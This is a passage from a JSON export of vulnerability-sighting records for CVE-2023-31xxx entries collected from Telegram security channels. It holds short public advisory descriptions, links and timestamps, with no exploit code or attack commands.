CVSS Score: N/A\n\ud83d\udd39 Description: In Cassia Gateway firmware XC1000_2.1.1.2303082218 and XC2000_2.1.1.2303090947, the queueUrl parameter in /bypass/config is not sanitized. This leads to injecting Bash code and executing it with root privileges on device startup.\n\ud83d\udccf Published: 2024-01-10T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T15:36:04.915Z\n\ud83d\udd17 References:\n1. https://www.cassianetworks.com\n2. https://github.com/Dodge-MPTC/CVE-2023-31446-Remote-Code-Execution\n3. https://blog.kscsc.online/cves/202331446/md.html", "creation_timestamp": "2025-06-20T15:44:16.000000Z"}, {"uuid": "7c04c009-4461-4bc7-a13b-0b170fba5fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31126", "type": "published-proof-of-concept", "source": "Telegram/rkfoWjAqSXezgJulzvtFuydB0ZkPEuMJMmDny8QUUYeolaE", "content": "", "creation_timestamp": "2025-08-20T21:00:17.000000Z"}, {"uuid": "0db8e55f-d49f-4b3a-94f7-9300109ba096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31102", "type": "published-proof-of-concept", "source": "Telegram/apyBcUc7WhsZEJNg7HMbIG5RWswdhpfEnw-xnTdxfTtnJA", "content": "", "creation_timestamp": "2023-11-03T19:05:01.000000Z"}, {"uuid": "ad4a9fbc-8c3f-4aeb-8b0a-8de7435f3de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31195", "type": "seen", "source": "https://t.me/kasperskyb2b/705", "content": "\ud83d\udc40 Asus patch monday\n\n\u0412\u0447\u0435\u0440\u0430 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043a\u0443\u043c\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f 19 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u0433\u0440\u043e\u0432\u044b\u0435 \u0440\u043e\u0443\u0442\u0435\u0440\u044b \u0438 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f mesh Wi-Fi. \u0412\u0441\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 17 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0431\u0435\u0437 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043f\u043b\u044e\u0441 9 \u0441 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u043c\u0438 CVE: CVE-2023-28702 (CVSS 8.8), CVE-2023-28703 (CVSS 7.2), CVE-2023-31195, CVE-2022-46871 (CVSS 8.8), CVE-2022-38105, CVE-2022-35401 (CVSS 8.1), CVE-2018-1160 (2018! \u0438 CVSS 9.8), CVE-2022-38393, CVE-2022-26376.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0430\u043c\u044b\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u0430\u0441\u0441\u0443 RCE \u0438 DoS.\n\n\u0421\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, Asus \u0440\u0430\u0441\u0448\u0435\u0432\u0435\u043b\u0438\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0440\u044f\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0430 \u0442\u0435\u043c, \u043a\u0442\u043e \u043d\u0435 \u0445\u043e\u0447\u0435\u0442 \u0438\u043b\u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e\u0433\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b WAN \u0432\u043e \u0438\u0437\u0431\u0435\u0436\u0430\u043d\u0438\u0435 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439. \u0412 \u0447\u0438\u0441\u043b\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0434\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438, \u0432\u0445\u043e\u0434\u044f\u0442 VPN-\u0441\u0435\u0440\u0432\u0435\u0440, DDNS, DMZ \u0438 \u043f\u0435\u0440\u0435\u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044f \u043f\u043e\u0440\u0442\u043e\u0432. \n\u0421\u0430\u043c\u044b\u0435 \u0441\u0432\u0435\u0436\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u043e\u0433\u043e CERT, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438 \u0440\u0430\u0441\u043f\u0438\u043d\u0430\u043b \u0433\u043e\u0440\u0434\u0443\u044e \u043f\u0442\u0438\u0446\u0443 Asus \u043d\u0430 \u0432\u044b\u043f\u0443\u0441\u043a \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u041b\u0443\u0447\u0448\u0435 \u043f\u043e\u0437\u0434\u043d\u043e, \u0447\u0435\u043c \u043d\u0438\u043a\u043e\u0433\u0434\u0430?\n \n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2023-06-20T09:57:08.000000Z"}, {"uuid": "a74d96ba-e817-4326-8a85-7801c5293908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31585", "type": "seen", "source": "https://t.me/cvedetector/24858", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31585 - Grocery-CMS-PHP Unauthenticated File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31585 \nPublished : May 8, 2025, 9:15 p.m. | 17\u00a0minutes ago \nDescription : Grocery-CMS-PHP-Restful-API v1.3 is vulnerable to File Upload via /admin/add-category.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-09T00:18:50.000000Z"}, {"uuid": "00fe6ed1-c20c-44ac-a8e0-47d01b26e2ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31358", "type": "seen", "source": "https://t.me/cvedetector/25235", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31358 - AMD Manageability API DLL Hijacking Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31358 \nPublished : May 13, 2025, 6:15 p.m. | 59\u00a0minutes ago \nDescription : A DLL hijacking vulnerability in the AMD Manageability API could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T21:24:46.000000Z"}, {"uuid": "32316f53-26b0-40f4-a080-40d8655ed9cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31359", "type": "seen", "source": "https://t.me/cvedetector/25234", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31359 - AMD Manageability API Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31359 \nPublished : May 13, 2025, 6:15 p.m. | 59\u00a0minutes ago \nDescription : Incorrect default permissions in the AMD Manageability API could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T21:24:45.000000Z"}, {"uuid": "89504cda-a524-4cd9-8afd-d993af2308b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31315", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/9830", "content": "\u200aAMD EPYC Processors Exposed: High-Severity Vulnerability CVE-2023-31315\n\nhttps://securityonline.info/amd-epyc-processors-exposed-high-severity-vulnerability-cve-2023-31315/", "creation_timestamp": "2024-08-14T09:24:17.000000Z"}, {"uuid": "c9e74183-c52d-451b-bbe1-169338590355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31092", "type": "seen", "source": "https://t.me/ctinow/157154", "content": "https://ift.tt/tDrk81q\nCVE-2023-31092", "creation_timestamp": "2023-12-20T17:23:42.000000Z"}, {"uuid": "f161c103-8023-4120-b7ed-548090484811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31546", "type": "seen", "source": "https://t.me/ctinow/156180", "content": "https://ift.tt/k1LiN02\nCVE-2023-31546 Exploit", "creation_timestamp": "2023-12-18T23:17:47.000000Z"}, {"uuid": "b06a0e34-6429-4292-892a-4eadef1fdc6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31280", "type": "seen", "source": "https://t.me/cvedetector/13475", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31280 - \"AirVantage Warranty Checker Unauthenticated Bulk IMEI and Serial Number Enumeration\"\", \n  \"Content\": \"CVE ID : CVE-2023-31280 \nPublished : Dec. 21, 2024, 12:15 a.m. | 33\u00a0minutes ago \nDescription : An AirVantage online Warranty Checker tool vulnerability could allow an attacker to   \nperform bulk enumeration of IMEI and Serial Numbers pairs. The AirVantage Warranty Checker is updated to no longer return the IMEI and Serial   \nNumber in addition to the warranty status when the Serial Number or IMEI is used to look up   \nwarranty status. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T01:57:11.000000Z"}, {"uuid": "c16e3c7d-508e-474e-a3b3-ce15c5dd4d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31279", "type": "seen", "source": "https://t.me/cvedetector/13474", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31279 - AirVantage Unauthorized Device Registration Remote Command Execution\", \n  \"Content\": \"CVE ID : CVE-2023-31279 \nPublished : Dec. 21, 2024, 12:15 a.m. | 33\u00a0minutes ago \nDescription : The AirVantage platform is vulnerable to an unauthorized attacker registering previously unregistered   \ndevices on the AirVantage platform when the owner has not disabled the AirVantage Management   \nService on the devices or registered the device. This could enable an attacker to configure, manage,   \nand execute AT commands on an unsuspecting user\u2019s devices. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T01:57:10.000000Z"}, {"uuid": "74dd449d-8f61-4256-a431-6ac78376908d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31275", "type": "seen", "source": "https://t.me/ctinow/155520", "content": "https://ift.tt/LXEntDN\nCVE-2023-31275 | WPS Office 11.2.0.11537 Excel File uninitialized variable (TALOS-2023-1748)", "creation_timestamp": "2023-12-17T07:41:46.000000Z"}, {"uuid": "d8d3e86f-7c5f-4427-a379-aaf28fe9f379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31021", "type": "seen", "source": "https://t.me/cibsecurity/73475", "content": "\u203c CVE-2023-31021 \u203c\n\nNVIDIA vGPU software for Windows and Linux contains a vulnerability in the Virtual GPU Manager (vGPU plugin), where a malicious user in the guest VM can cause a NULL-pointer dereference, which may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T21:22:57.000000Z"}, {"uuid": "acb17772-d6e4-4882-bd8a-e3a1179e0868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3164", "type": "seen", "source": "https://t.me/cibsecurity/73430", "content": "\u203c CVE-2023-3164 \u203c\n\nA heap out-of-bounds read flaw was found in builtin.c in the gawk package. This issue may lead to a crash and could be used to read sensitive information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T15:28:54.000000Z"}, {"uuid": "64808184-0ac4-4db9-bdcf-e6237a0b84ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "published-proof-of-concept", "source": "Telegram/7a7fweCj36f2cd-3XHNsj84vMqrUUzQeix11cFhtTPwJ", "content": "", "creation_timestamp": "2023-10-22T22:26:28.000000Z"}, {"uuid": "9a605edb-c101-4a28-b213-4c7dacd12199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31466", "type": "published-proof-of-concept", "source": "Telegram/7a7fweCj36f2cd-3XHNsj84vMqrUUzQeix11cFhtTPwJ", "content": "", "creation_timestamp": "2023-10-22T22:26:28.000000Z"}, {"uuid": "81b4fada-a8c7-482b-ad5f-0019698c209b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31493", "type": "seen", "source": "https://t.me/cvedetector/7924", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31493 - ZoneMinder Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31493 \nPublished : Oct. 15, 2024, 3:15 p.m. | 29\u00a0minutes ago \nDescription : RCE (Remote Code Execution) exists in ZoneMinder through 1.36.33 as an attacker can create a new .php log file in language folder, while executing a crafted payload and escalate privileges allowing execution of any commands on the remote system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-15T17:46:36.000000Z"}, {"uuid": "fd44ff54-74b2-4eb7-a9a4-483d2116f2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31099", "type": "published-proof-of-concept", "source": "Telegram/2ll6hh1bRVrEFfGLVvmcXFGa-ma2XRt9Qhxg0JMZZaj3Ow", "content": "", "creation_timestamp": "2024-01-25T17:54:00.000000Z"}, {"uuid": "511ca145-e734-4986-a25b-8878c300c409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31355", "type": "seen", "source": "https://t.me/cvedetector/2476", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31355 - \"Xen UMC Seed Hijacking via Malicious Hypervisor\"\", \n  \"Content\": \"CVE ID : CVE-2023-31355 \nPublished : Aug. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : Improper restriction of write operations in SNP firmware could allow a malicious hypervisor to overwrite a guest's UMC seed potentially allowing reading of memory from a decommissioned guest. \nSeverity: 6.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:56:00.000000Z"}, {"uuid": "4eba7a4c-3e98-4fe4-b51d-298c4fcd4a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31339", "type": "seen", "source": "https://t.me/cvedetector/3051", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31339 - AMD Zynq UltraScale+ MPSoC/RFSoC Out-of-Bound Read\", \n  \"Content\": \"CVE ID : CVE-2023-31339 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Improper input validation in ARM\u00ae Trusted Firmware used in AMD\u2019s Zynq\u2122 UltraScale+\u2122) MPSoC/RFSoC may allow a privileged attacker to perform out of bound reads, potentially resulting in data leakage and denial of service. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:11.000000Z"}, {"uuid": "e9dc3980-ac61-47e2-8bc4-a8862773ef06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31310", "type": "seen", "source": "https://t.me/cvedetector/3048", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31310 - Dell Power Management Firmware Arbitrary Command Injection\", \n  \"Content\": \"CVE ID : CVE-2023-31310 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Improper input validation in Power Management Firmware (PMFW) may allow an attacker with privileges to send a malformed input for the \"set temperature input selection\" command, potentially resulting in a loss of integrity and/or availability. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:08.000000Z"}, {"uuid": "6a56e93e-1b0c-4391-b274-2f54eb00d995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31305", "type": "seen", "source": "https://t.me/cvedetector/3047", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31305 - PMFW Weak IV Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31305 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Generation of weak and predictable Initialization Vector (IV) in PMFW (Power Management Firmware) may allow an attacker with privileges to reuse IV values to reverse-engineer debug data, potentially resulting in information disclosure. \nSeverity: 1.9 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:07.000000Z"}, {"uuid": "64f07007-f2e5-431c-836f-8b5923f9a8be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31348", "type": "seen", "source": "https://t.me/cvedetector/3046", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31348 - AMD \u03bcProf DLL Hijacking Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31348 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : A DLL hijacking vulnerability in AMD \u03bcProf could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:06.000000Z"}, {"uuid": "ea831a9c-f43a-4ffb-b245-1f773ed1a1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31341", "type": "seen", "source": "https://t.me/cvedetector/3045", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31341 - AMD \u03bcProf Out-of-Bounds Write Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2023-31341 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Insufficient  \nvalidation of the Input Output Control (IOCTL) input buffer in AMD \u03bcProf may  \nallow an authenticated attacker to cause an out-of-bounds write, potentially  \ncausing a Windows\u00ae OS crash, resulting in denial of service. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:05.000000Z"}, {"uuid": "6b40c9ac-99fc-4d5c-a34b-b4cf5da73639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31304", "type": "seen", "source": "https://t.me/cvedetector/3050", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31304 - Xilinx PCIe Flavor Config Modification Vulnerability - Remote Management Manipulation\", \n  \"Content\": \"CVE ID : CVE-2023-31304 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Improper input validation in SMU may allow an attacker with privileges and a compromised physical function (PF)  \u00a0 \u00a0 to modify the PCIe\u00ae lane count and speed, potentially leading to a loss of availability. \nSeverity: 2.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:10.000000Z"}, {"uuid": "0a45e6fb-ea18-499a-929c-098479cf9a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31307", "type": "seen", "source": "https://t.me/cvedetector/3049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31307 - Thundersoft Power Management Firmware Array Index Out-of-Bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31307 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Improper validation of array index in Power Management Firmware (PMFW) may allow a privileged attacker to cause an out-of-bounds memory read within PMFW, potentially leading to a denial of service. \nSeverity: 2.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:09.000000Z"}, {"uuid": "c2c66ed1-fd92-44fb-ba42-87f8f7375eb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31356", "type": "seen", "source": "https://t.me/cvedetector/3044", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31356 - \"AMD SEV Firmware Memory Corruption Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2023-31356 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Incomplete system memory cleanup in SEV firmware could  \nallow a privileged attacker to corrupt guest private memory, potentially  \nresulting in a loss of data integrity. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:04.000000Z"}, {"uuid": "c7f0ee09-0b60-4250-8ed0-0cc1d957d37b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31366", "type": "seen", "source": "https://t.me/cvedetector/3043", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31366 - AMD \u03bcProf Write Primitive Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2023-31366 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Improper input validation in AMD \u03bcProf could allow an attacker to perform a write to an invalid address, potentially resulting in denial of service. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T20:28:03.000000Z"}, {"uuid": "27652a97-0976-4c82-8220-f03f8e34a796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31349", "type": "seen", "source": "https://t.me/cvedetector/3042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31349 - AMD \u03bcProf Privilege Escalation Arbitary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31349 \nPublished : Aug. 13, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Incorrect default permissions in the AMD \u03bcProf installation directory could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution. \nSeverity: 7.3 | 